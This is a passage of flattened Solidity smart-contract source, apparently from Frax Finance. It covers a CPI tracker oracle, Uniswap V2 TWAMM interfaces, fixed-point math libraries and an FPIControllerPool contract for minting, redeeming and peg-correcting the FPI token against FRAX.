isn't too large require(currDeltaFracAbsE6() <= max_delta_frac, "Delta too high"); // Update the timestamp lastUpdateTime = block.timestamp; // Update the year and month (uint256 result_year, uint256 result_month, ) = upcomingCPIParams(); stored_year = result_year; stored_month = result_month; // Update the future ramp period, if applicable // A ramp cannot be updated mid-month as it will mess up the last_price math; ramp_period = future_ramp_period; // Add the observation cpi_observations.push(CPIObservation( result_year, result_month, cpi_target, peg_price_target, block.timestamp )); emit CPIUpdated(result_year, result_month, result, peg_price_target, ramp_period); } function cancelRequest( bytes32 _requestId, uint256 _payment, bytes4 _callbackFunc, uint256 _expiration ) external onlyByOwnGovBot { cancelChainlinkRequest(_requestId, _payment, _callbackFunc, _expiration); } /* ========== RESTRICTED FUNCTIONS ========== */ function setTimelock(address _new_timelock_address) external onlyByOwnGov { timelock_address = _new_timelock_address; } function setBot(address _new_bot_address) external onlyByOwnGov { bot_address = _new_bot_address; } function setOracleInfo(address _oracle, bytes32 _jobId, uint256 _fee) external onlyByOwnGov { oracle = _oracle; jobId = _jobId; fee = _fee; } function setMaxDeltaFrac(uint256 _max_delta_frac) external onlyByOwnGov { max_delta_frac = _max_delta_frac; } function setFulfillReadyDay(uint256 _fulfill_ready_day) external onlyByOwnGov { fulfill_ready_day = _fulfill_ready_day; } function setFutureRampPeriod(uint256 _future_ramp_period) external onlyByOwnGov { future_ramp_period = _future_ramp_period; // In sec } // Mainly for recovering LINK function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnGov { // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); } /* ========== EVENTS ========== */ event CPIUpdated(uint256 year, uint256 month, uint256 result, uint256 peg_price_target, uint256 ramp_period); } // File contracts/Uniswap_V2_TWAMM/core/interfaces/IUniswapV2PairV5.sol interface IUniswapV2PairV5 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File contracts/Uniswap_V2_TWAMM/core/interfaces/IUniV2TWAMMPair.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ========================= IUniV2TWAMMPair ========================== // ==================================================================== // TWAMM LP Pair Interface // Inspired by https://www.paradigm.xyz/2021/07/twamm // https://github.com/para-dave/twamm // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Rich Gee: https://github.com/zer0blockchain // Dennis: https://github.com/denett // Reviewer(s) / Contributor(s) // Travis Moore: https://github.com/FortisFortuna // Sam Kazemian: https://github.com/samkazemian interface IUniV2TWAMMPair is IUniswapV2PairV5 { // TWAMM event LongTermSwap0To1(address indexed addr, uint256 orderId, uint256 amount0In, uint256 numberOfTimeIntervals); event LongTermSwap1To0(address indexed addr, uint256 orderId, uint256 amount1In, uint256 numberOfTimeIntervals); event CancelLongTermOrder(address indexed addr, uint256 orderId, address sellToken, uint256 unsoldAmount, address buyToken, uint256 purchasedAmount); event WithdrawProceedsFromLongTermOrder(address indexed addr, uint256 orderId, address indexed proceedToken, uint256 proceeds, bool orderExpired); function longTermSwapFrom0To1(uint256 amount0In, uint256 numberOfTimeIntervals) external returns (uint256 orderId); function longTermSwapFrom1To0(uint256 amount1In, uint256 numberOfTimeIntervals) external returns (uint256 orderId); function cancelLongTermSwap(uint256 orderId) external; function withdrawProceedsFromLongTermSwap(uint256 orderId) external returns (bool is_expired); function executeVirtualOrders(uint256 blockTimestamp) external; function orderTimeInterval() external returns (uint256); function getTWAPHistoryLength() external view returns (uint); function getTwammReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast, uint112 _twammReserve0, uint112 _twammReserve1); function getReserveAfterTwamm(uint256 blockTimestamp) external view returns (uint112 _reserve0, uint112 _reserve1, uint256 lastVirtualOrderTimestamp, uint112 _twammReserve0, uint112 _twammReserve1); function getNextOrderID() external view returns (uint256); function getOrderIDsForUser(address user) external view returns (uint256[] memory); function getOrderIDsForUserLength(address user) external view returns (uint256); // function getDetailedOrdersForUser(address user, uint256 offset, uint256 limit) external view returns (LongTermOrdersLib.Order[] memory detailed_orders); function twammUpToDate() external view returns (bool); function getTwammState() external view returns (uint256 token0Rate, uint256 token1Rate, uint256 lastVirtualOrderTimestamp, uint256 orderTimeInterval_rtn, uint256 rewardFactorPool0, uint256 rewardFactorPool1); function getTwammSalesRateEnding(uint256 _blockTimestamp) external view returns (uint256 orderPool0SalesRateEnding, uint256 orderPool1SalesRateEnding); function getTwammRewardFactor(uint256 _blockTimestamp) external view returns (uint256 rewardFactorPool0AtTimestamp, uint256 rewardFactorPool1AtTimestamp); function getTwammOrder(uint256 orderId) external view returns (uint256 id, uint256 expirationTimestamp, uint256 saleRate, address owner, address sellTokenAddr, address buyTokenAddr); function getTwammOrderProceeds(uint256 orderId, uint256 blockTimestamp) external view returns (bool orderExpired, uint256 totalReward); function togglePauseNewSwaps() external; } // File contracts/Uniswap_V2_TWAMM/core/interfaces/IUniswapV2FactoryV5.sol interface IUniswapV2FactoryV5 { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File contracts/Uniswap_V2_TWAMM/libraries/Babylonian.sol // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { // credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; // this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2); // however that code costs significantly more gas uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } // File contracts/Uniswap_V2_TWAMM/libraries/FullMath.sol /// @notice Math library that facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision. /// @author Adapted from https://github.com/Uniswap/uniswap-v3-core/blob/main/contracts/libraries/FullMath.sol. /// @dev Handles "phantom overflow", i.e., allows multiplication and division where an intermediate value overflows 256 bits. library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision - throws if result overflows an uint256 or denominator == 0. /// @param a The multiplicand. /// @param b The multiplier. /// @param denominator The divisor. /// @return result The 256-bit result. /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv. function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = a * b. // Compute the product mod 2**256 and mod 2**256 - 1, // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0. uint256 prod0; // Least significant 256 bits of the product. uint256 prod1; // Most significant 256 bits of the product. assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256 - // also prevents denominator == 0. require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] - // compute remainder using mulmod. uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number. assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator - // compute largest power of two divisor of denominator // (always >= 1). uint256 twos = uint256(-int256(denominator)) & denominator; // Divide denominator by power of two. assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two. assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos - // if twos is zero, then it becomes one. assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 - // now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // for four bits. That is, denominator * inv = 1 mod 2**4. uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // Inverse mod 2**8. inv *= 2 - denominator * inv; // Inverse mod 2**16. inv *= 2 - denominator * inv; // Inverse mod 2**32. inv *= 2 - denominator * inv; // Inverse mod 2**64. inv *= 2 - denominator * inv; // Inverse mod 2**128. inv *= 2 - denominator * inv; // Inverse mod 2**256. // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } } /// @notice Calculates ceil(a×b÷denominator) with full precision - throws if result overflows an uint256 or denominator == 0. /// @param a The multiplicand. /// @param b The multiplier. /// @param denominator The divisor. /// @return result The 256-bit result. function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); unchecked { if (mulmod(a, b, denominator) != 0) { require(result < type(uint256).max); result++; } } } } // File contracts/Uniswap_V2_TWAMM/periphery/libraries/UniswapV2LiquidityMathLibraryMini.sol // library containing some math for dealing with the liquidity shares of a pair, e.g. computing their exact value // in terms of the underlying tokens library UniswapV2LiquidityMathLibraryMini { // computes the direction and magnitude of the profit-maximizing trade // function computeProfitMaximizingTrade( // uint256 truePriceTokenA, // uint256 truePriceTokenB, // uint256 reserveA, // uint256 reserveB // ) pure internal returns (uint256 amountIn) { // bool aToB = ((reserveA * truePriceTokenB) / reserveB) < truePriceTokenA; // uint256 invariant = reserveA * reserveB; // // true price is expressed as a ratio, so both values must be non-zero // require(truePriceTokenA != 0 && truePriceTokenB != 0, "CPMT: ZERO_PRICE"); // uint256 leftSide = Babylonian.sqrt( // FullMath.mulDiv( // (invariant * 1000), // aToB ? truePriceTokenA : truePriceTokenB, // (aToB ? truePriceTokenB : truePriceTokenA) * 997 // ) // ); // uint256 rightSide = (aToB ? reserveA * 1000 : reserveB * 1000) / 997; // if (leftSide < rightSide) return (0); // // compute the amount that must be sent to move the price to the profit-maximizing price // amountIn = leftSide - rightSide; // } function computeProfitMaximizingTrade( uint256 inTokenTruePrice, uint256 outTokenTruePrice, uint256 reserveIn, uint256 reserveOut ) pure internal returns (uint256 amountIn) { uint256 invariant = reserveIn * reserveOut; // true price is expressed as a ratio, so both values must be non-zero require(inTokenTruePrice != 0 && outTokenTruePrice != 0, "CPMT: ZERO_PRICE"); uint256 leftSide = Babylonian.sqrt( FullMath.mulDiv( (invariant * 1000), inTokenTruePrice, outTokenTruePrice * 997 ) ); uint256 rightSide = (reserveIn * 1000) / 997; if (leftSide < rightSide) return (0); // compute the amount that must be sent to move the price to the profit-maximizing price amountIn = leftSide - rightSide; } } // File contracts/FPI/FPIControllerPool.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ========================= FPIControllerPool ========================= // ==================================================================== // Makes sure FPI is targeting the CPI peg // First method is minting / redeeming with FRAX // Second is bulk TWAMM trades // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Sam Kazemian: https://github.com/samkazemian // Rich Gee: https://github.com/zer0blockchain // Dennis: https://github.com/denett // Jack Corddry: https://github.com/corddry contract FPIControllerPool is Owned { // Core address public timelock_address; FPI public FPI_TKN; IFrax public FRAX; IUniV2TWAMMPair public TWAMM; // Oracles AggregatorV3Interface public priceFeedFRAXUSD; AggregatorV3Interface public priceFeedFPIUSD; uint256 public chainlink_frax_usd_decimals; uint256 public chainlink_fpi_usd_decimals; CPITrackerOracle public cpiTracker; // Tracking uint256 public last_order_id_twamm; // Last TWAMM order ID that was used // AMO addresses (lend out FRAX) address[] public amos_array; mapping(address => bool) public amos; // Mapping is also used for faster verification // FRAX borrowed balances mapping(address => int256) public frax_borrowed_balances; // Amount of FRAX the contract borrowed, by AMO int256 public frax_borrowed_sum = 0; // Across all AMOs int256 public frax_borrow_cap = int256(10000000e18); // Max amount of FRAX the contract can borrow from this contract // Mint Fee Related bool public use_manual_mint_fee = true; uint256 public mint_fee_manual = 3000; // E6 uint256 public mint_fee_multiplier = 1000000; // E6 // Redeem Fee Related bool public use_manual_redeem_fee = true; uint256 public redeem_fee_manual = 3000; // E6 uint256 public redeem_fee_multiplier = 1000000; // E6 // Safety uint256 public fpi_mint_cap = 110000000e18; // 110M uint256 public peg_band_mint_redeem = 50000; // 5% uint256 public peg_band_twamm = 100000; // 10% uint256 public max_swap_frax_amt_in = 10000000e18; // 10M, mainly fat-finger precautions uint256 public max_swap_fpi_amt_in = 10000000e18; // 10M, mainly fat-finger precautions bool public mints_paused = false; bool public redeems_paused = false; // Constants for various precisions uint256 public constant PRICE_PRECISION = 1e18; uint256 public constant FEE_PRECISION = 1e6; uint256 public constant PEG_BAND_PRECISION = 1e6; // Misc bool public frax_is_token0; bool public pending_twamm_order = false; uint256 public num_twamm_intervals = 168; // Each interval is default 3600 sec (1 hr) uint256 public swap_period = 7 * 86400; // 7 days /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require(msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } modifier validAMO(address amo_address) { require(amos[amo_address], "Invalid AMO"); _; } /* ========== CONSTRUCTOR ========== */ constructor ( address _creator_address, address _timelock_address, address[6] memory _address_pack ) Owned(_creator_address) { timelock_address = _timelock_address; // Set instances FRAX = IFrax(_address_pack[0]); FPI_TKN = FPI(_address_pack[1]); TWAMM = IUniV2TWAMMPair(_address_pack[2]); priceFeedFRAXUSD = AggregatorV3Interface(_address_pack[3]); priceFeedFPIUSD = AggregatorV3Interface(_address_pack[4]); cpiTracker = CPITrackerOracle(_address_pack[5]); // Set the oracle decimals chainlink_frax_usd_decimals = priceFeedFRAXUSD.decimals(); chainlink_fpi_usd_decimals = priceFeedFPIUSD.decimals(); // Need to know which token FRAX is (0 or 1) address token0 = TWAMM.token0(); if (token0 == address(FRAX)) frax_is_token0 = true; else frax_is_token0 = false; // Get the number of TWAMM intervals. Truncation desired num_twamm_intervals = swap_period / TWAMM.orderTimeInterval(); } /* ========== VIEWS ========== */ // Needed as a FRAX AMO function dollarBalances() public view returns (uint256 frax_val_e18, uint256 collat_val_e18) { frax_val_e18 = FRAX.balanceOf(address(this)); collat_val_e18 = (frax_val_e18 * 1e6) / FRAX.global_collateral_ratio(); } // In Chainlink decimals function getFRAXPriceE18() public view returns (uint256) { (uint80 roundID, int price, , uint256 updatedAt, uint80 answeredInRound) = priceFeedFRAXUSD.latestRoundData(); require(price >= 0 && updatedAt!= 0 && answeredInRound >= roundID, "Invalid chainlink price"); return ((uint256(price) * 1e18) / (10 ** chainlink_frax_usd_decimals)); } // In Chainlink decimals function getFPIPriceE18() public view returns (uint256) { (uint80 roundID, int price, , uint256 updatedAt, uint80 answeredInRound) = priceFeedFPIUSD.latestRoundData(); require(price >= 0 && updatedAt!= 0 && answeredInRound >= roundID, "Invalid chainlink price"); return ((uint256(price) * 1e18) / (10 ** chainlink_fpi_usd_decimals)); } // Reserve spot price (fpi_price is dangerous / flash loan susceptible, so use carefully) function getReservesAndFPISpot() public returns (uint256 reserveFRAX, uint256 reserveFPI, uint256 fpi_price) { // Update and get the reserves TWAMM.executeVirtualOrders(block.timestamp); { (uint256 reserveA, uint256 reserveB, ) = TWAMM.getReserves(); if (frax_is_token0){ reserveFRAX = reserveA; reserveFPI = reserveB; } else { reserveFRAX = reserveB; reserveFPI = reserveA; } } // Get the TWAMM reserve spot price fpi_price = (reserveFRAX * 1e18) / reserveFPI; } // function getTwammToPegAmt() public returns (uint256 frax_in, uint256 fpi_in) { // // Update and get the reserves // (uint256 reserveFRAX, uint256 reserveFPI, uint256 reservePriceFPI) = getReservesAndFPISpot(); // // Get the CPI price // uint256 cpi_peg_price = cpiTracker.currPegPrice(); // // Sort the pricing. NOTE: IN RATIOS, NOT PRICE // uint256 truePriceFRAX = 1e18; // uint256 truePriceFPI = cpi_peg_price; // // Determine the direction // if (fpi_to_frax) { // return UniswapV2LiquidityMathLibraryMini.computeProfitMaximizingTrade( // truePriceFPI, truePriceFRAX, // reserveFPI, reserveFRAX // ); // } // else { // return UniswapV2LiquidityMathLibraryMini.computeProfitMaximizingTrade( // truePriceFRAX, truePriceFPI, // reserveFRAX, reserveFPI // ); // } // } // In E6 function mint_fee() public view returns (uint256 fee) { if (use_manual_mint_fee) fee = mint_fee_manual; else { // For future variable fees fee = 0; // Apply the multiplier fee = (fee * mint_fee_multiplier) / 1e6; } } // In E6 function redeem_fee() public view returns (uint256 fee) { if (use_manual_redeem_fee) fee = redeem_fee_manual; else { // For future variable fees fee = 0; // Apply the multiplier fee = (fee * redeem_fee_multiplier) / 1e6; } } // Get some info about the peg status function pegStatusMntRdm() public view returns (uint256 cpi_peg_price, uint256 diff_frac_abs, bool within_range) { uint256 fpi_price = getFPIPriceE18(); cpi_peg_price = cpiTracker.currPegPrice(); if (fpi_price > cpi_peg_price){ diff_frac_abs = ((fpi_price - cpi_peg_price) * PEG_BAND_PRECISION) / fpi_price; } else { diff_frac_abs = ((cpi_peg_price - fpi_price) * PEG_BAND_PRECISION) / fpi_price; } within_range = (diff_frac_abs <= peg_band_mint_redeem); } // Get additional info about the peg status function price_info() public view returns ( int256 collat_imbalance, uint256 cpi_peg_price, uint256 fpi_price, uint256 price_diff_frac_abs ) { fpi_price = getFPIPriceE18(); cpi_peg_price = cpiTracker.currPegPrice(); uint256 fpi_supply = FPI_TKN.totalSupply(); if (fpi_price > cpi_peg_price){ collat_imbalance = int256(((fpi_price - cpi_peg_price) * fpi_supply) / PRICE_PRECISION); price_diff_frac_abs = ((fpi_price - cpi_peg_price) * PEG_BAND_PRECISION) / fpi_price; } else { collat_imbalance = -1 * int256(((cpi_peg_price - fpi_price) * fpi_supply) / PRICE_PRECISION); price_diff_frac_abs = ((cpi_peg_price - fpi_price) * PEG_BAND_PRECISION) / fpi_price; } } /* ========== MUTATIVE ========== */ // Calculate Mint FPI with FRAX function calcMintFPI(uint256 frax_in, uint256 min_fpi_out) public view returns (uint256 fpi_out) { require(!mints_paused, "Mints paused"); // Fetch the CPI price and other info (uint256 cpi_peg_price, , bool within_range) = pegStatusMntRdm(); // Make sure the peg is within range for minting // Helps combat oracle errors and megadumping require(within_range, "Peg band [Mint]"); // Calculate the amount of FPI that the incoming FRAX should give fpi_out = (frax_in * PRICE_PRECISION) / cpi_peg_price; // Apply the fee fpi_out -= (fpi_out * mint_fee()) / FEE_PRECISION; // Make sure enough FPI is generated require(fpi_out >= min_fpi_out, "Slippage [Mint]"); // Check the mint cap require(FPI_TKN.totalSupply() + fpi_out <= fpi_mint_cap, "FPI mint cap"); } // Mint FPI with FRAX function mintFPI(uint256 frax_in, uint256 min_fpi_out) external returns (uint256 fpi_out) { fpi_out = calcMintFPI(frax_in, min_fpi_out); // Pull in the FRAX TransferHelper.safeTransferFrom(address(FRAX), msg.sender, address(this), frax_in); // Mint FPI to the sender FPI_TKN.minter_mint(msg.sender, fpi_out); emit FPIMinted(frax_in, fpi_out); } // Calculate Redeem FPI for FRAX function calcRedeemFPI(uint256 fpi_in, uint256 min_frax_out) public view returns (uint256 frax_out) { require(!redeems_paused, "Redeems paused"); // Fetch the CPI price and other info (uint256 cpi_peg_price, , bool within_range) = pegStatusMntRdm(); // Make sure the peg is within range for minting // Helps combat oracle errors and megadumping require(within_range, "Peg band [Redeem]"); // Calculate the amount of FRAX that the incoming FPI should give frax_out = (fpi_in * cpi_peg_price) / PRICE_PRECISION; // Apply the fee frax_out -= (frax_out * redeem_fee()) / FEE_PRECISION; // Make sure enough FRAX is generated require(frax_out >= min_frax_out, "Slippage [Redeem]"); } // Redeem FPI for FRAX function redeemFPI(uint256 fpi_in, uint256 min_frax_out) external returns (uint256 frax_out) { frax_out = calcRedeemFPI(fpi_in, min_frax_out); // Pull in the FPI TransferHelper.safeTransferFrom(address(FPI_TKN), msg.sender, address(this), fpi_in); // Give FRAX to the sender TransferHelper.safeTransfer(address(FRAX), msg.sender, frax_out); emit FPIRedeemed(fpi_in, frax_out); } // Use the TWAMM for bulk peg corrections function twammManual(uint256 frax_sell_amt, uint256 fpi_sell_amt, uint256 override_intervals) external onlyByOwnGov returns (uint256 frax_to_use, uint256 fpi_to_use) { // Make sure only one direction occurs require(!((frax_sell_amt > 0) && (fpi_sell_amt > 0)), "Can only sell in one direction"); // Update and get the reserves // longTermSwapFrom0to1 and longTermSwapFrom1To0 do it automatically // TWAMM.executeVirtualOrders(block.timestamp); // Cancel the previous order (if any) and collect any leftover tokens if (pending_twamm_order) TWAMM.cancelLongTermSwap(last_order_id_twamm); // Now calculate the imbalance after the burn (, , , uint256 price_diff_abs) = price_info(); // Make sure the FPI oracle price hasn't moved away too much from the target peg price require(price_diff_abs <= peg_band_twamm, "Peg band [TWAMM]"); // Create a new order last_order_id_twamm = TWAMM.getNextOrderID(); { if (fpi_sell_amt > 0) { // Mint FPI and sell for FRAX // -------------------------------- fpi_to_use = fpi_sell_amt; // Make sure nonzero require(fpi_to_use > 0, "FPI sold must be nonzero"); // Safety check require(fpi_to_use <= max_swap_fpi_amt_in, "Too much FPI sold"); // Mint some FPI FPI_TKN.minter_mint(address(this), fpi_to_use); // Approve FPI first FPI_TKN.approve(address(TWAMM), fpi_to_use); // Sell FPI for FRAX if (frax_is_token0) { TWAMM.longTermSwapFrom1To0(fpi_to_use, override_intervals > 0 ? override_intervals : num_twamm_intervals); } else { TWAMM.longTermSwapFrom0To1(fpi_to_use, override_intervals > 0 ? override_intervals : num_twamm_intervals); } } else { // Use FRAX to buy FPI // -------------------------------- frax_to_use = frax_sell_amt; // Make sure nonzero require(frax_to_use > 0, "FRAX sold must be nonzero"); // Safety check require(frax_to_use <= max_swap_frax_amt_in, "Too much FRAX sold"); // Approve FRAX first FRAX.approve(address(TWAMM), frax_to_use); // Sell FRAX for FPI if (frax_is_token0) { TWAMM.longTermSwapFrom0To1(frax_to_use, override_intervals > 0 ? override_intervals : num_twamm_intervals); } else { TWAMM.longTermSwapFrom1To0(frax_to_use, override_intervals > 0 ? override_intervals : num_twamm_intervals); } } } // Mark that there is a pending order pending_twamm_order = true; emit TWAMMedToPeg(last_order_id_twamm, frax_to_use, fpi_to_use, block.timestamp); } function cancelCurrTWAMMOrder(uint256 order_id_override) public onlyByOwnGov { // Cancel the order TWAMM.cancelLongTermSwap(order_id_override == 0 ? last_order_id_twamm : order_id_override); // Clear the pending order indicator pending_twamm_order = false; } function collectCurrTWAMMProceeds(uint256 order_id_override) external onlyByOwnGov { // Withdraw current proceeds bool is_expired = TWAMM.withdrawProceedsFromLongTermSwap(order_id_override == 0 ? last_order_id_twamm : order_id_override); // If using the last_order_id_twamm and it is expired, clear the pending order indicator if (is_expired && (order_id_override == 0)) pending_twamm_order = false; } /* ========== Burns and givebacks ========== */ // Burn unneeded or excess FPI. function burnFPI(bool burn_all, uint256 fpi_amount) public onlyByOwnGov { if (burn_all) { // Burn any leftover FPI FPI_TKN.burn(FPI_TKN.balanceOf(address(this))); } else FPI_TKN.burn(fpi_amount); } // ------------------------------------------------------------------ // ------------------------------ FRAX ------------------------------ // ------------------------------------------------------------------ // Lend the FRAX collateral to an AMO function giveFRAXToAMO(address destination_amo, uint256 frax_amount) external onlyByOwnGov validAMO(destination_amo) { int256 frax_amount_i256 = int256(frax_amount); // Update the balances first require((frax_borrowed_sum + frax_amount_i256) <= frax_borrow_cap, "Borrow cap"); frax_borrowed_balances[destination_amo] += frax_amount_i256; frax_borrowed_sum += frax_amount_i256; // Give the FRAX to the AMO TransferHelper.safeTransfer(address(FRAX), destination_amo, frax_amount); } // AMO gives back FRAX. Needed for proper accounting function receiveFRAXFromAMO(uint256 frax_amount) external validAMO(msg.sender) { int256 frax_amt_i256 = int256(frax_amount); // Give back first TransferHelper.safeTransferFrom(address(FRAX), msg.sender, address(this), frax_amount); // Then update the balances frax_borrowed_balances[msg.sender] -= frax_amt_i256; frax_borrowed_sum -= frax_amt_i256; } /* ========== RESTRICTED FUNCTIONS ========== */ // Adds an AMO function addAMO(address amo_address) public onlyByOwnGov { require(amo_address != address(0), "Zero address detected"); require(amos[amo_address] == false, "Address already exists"); amos[amo_address] = true; amos_array.push(amo_address); emit AMOAdded(amo_address); } // Removes an AMO function removeAMO(address amo_address) public onlyByOwnGov { require(amo_address != address(0), "Zero address detected"); require(amos[amo_address] == true, "Address nonexistant"); // Delete from the mapping delete amos[amo_address]; // 'Delete' from the array by setting the address to 0x0 for (uint i = 0; i < amos_array.length; i++){ if (amos_array[i] == amo_address) { amos_array[i] = address(0); // This will leave a null in the array and keep the indices the same break; } } emit AMORemoved(amo_address); } function setOracles(address _frax_oracle, address _fpi_oracle, address _cpi_oracle) external onlyByOwnGov { priceFeedFRAXUSD = AggregatorV3Interface(_frax_oracle); priceFeedFPIUSD = AggregatorV3Interface(_fpi_oracle); cpiTracker = CPITrackerOracle(_cpi_oracle); // Set the Chainlink oracle decimals chainlink_frax_usd_decimals = priceFeedFRAXUSD.decimals(); chainlink_fpi_usd_decimals = priceFeedFPIUSD.decimals(); } function setTWAMMAndSwapPeriod(address _twamm_addr, uint256 _swap_period) external onlyByOwnGov { // Cancel an outstanding order, if present if (pending_twamm_order) cancelCurrTWAMMOrder(last_order_id_twamm); // Change the TWAMM parameters TWAMM = IUniV2TWAMMPair(_twamm_addr); swap_period = _swap_period; num_twamm_intervals = _swap_period / TWAMM.orderTimeInterval(); } function toggleMints() external onlyByOwnGov { mints_paused = !mints_paused; } function toggleRedeems() external onlyByOwnGov { redeems_paused = !redeems_paused; } function setFraxBorrowCap(int256 _frax_borrow_cap) external onlyByOwnGov { frax_borrow_cap = _frax_borrow_cap; } function setMintCap(uint256 _fpi_mint_cap) external onlyByOwnGov { fpi_mint_cap = _fpi_mint_cap; } function setPegBands(uint256 _peg_band_mint_redeem, uint256 _peg_band_twamm) external onlyByOwnGov { peg_band_mint_redeem = _peg_band_mint_redeem; peg_band_twamm = _peg_band_twamm; } function setMintRedeemFees( bool _use_manual_mint_fee, uint256 _mint_fee_manual, uint256 _mint_fee_multiplier, bool _use_manual_redeem_fee, uint256 _redeem_fee_manual, uint256 _redeem_fee_multiplier ) external onlyByOwnGov { use_manual_mint_fee = _use_manual_mint_fee; mint_fee_manual = _mint_fee_manual; mint_fee_multiplier = _mint_fee_multiplier; use_manual_redeem_fee = _use_manual_redeem_fee; redeem_fee_manual = _redeem_fee_manual; redeem_fee_multiplier = _redeem_fee_multiplier; } function setTWAMMMaxSwapIn(uint256 _max_swap_frax_amt_in, uint256 _max_swap_fpi_amt_in) external onlyByOwnGov { max_swap_frax_amt_in = _max_swap_frax_amt_in; max_swap_fpi_amt_in = _max_swap_fpi_amt_in; } function setTimelock(address _new_timelock_address) external onlyByOwnGov { timelock_address = _new_timelock_address; } // Added to 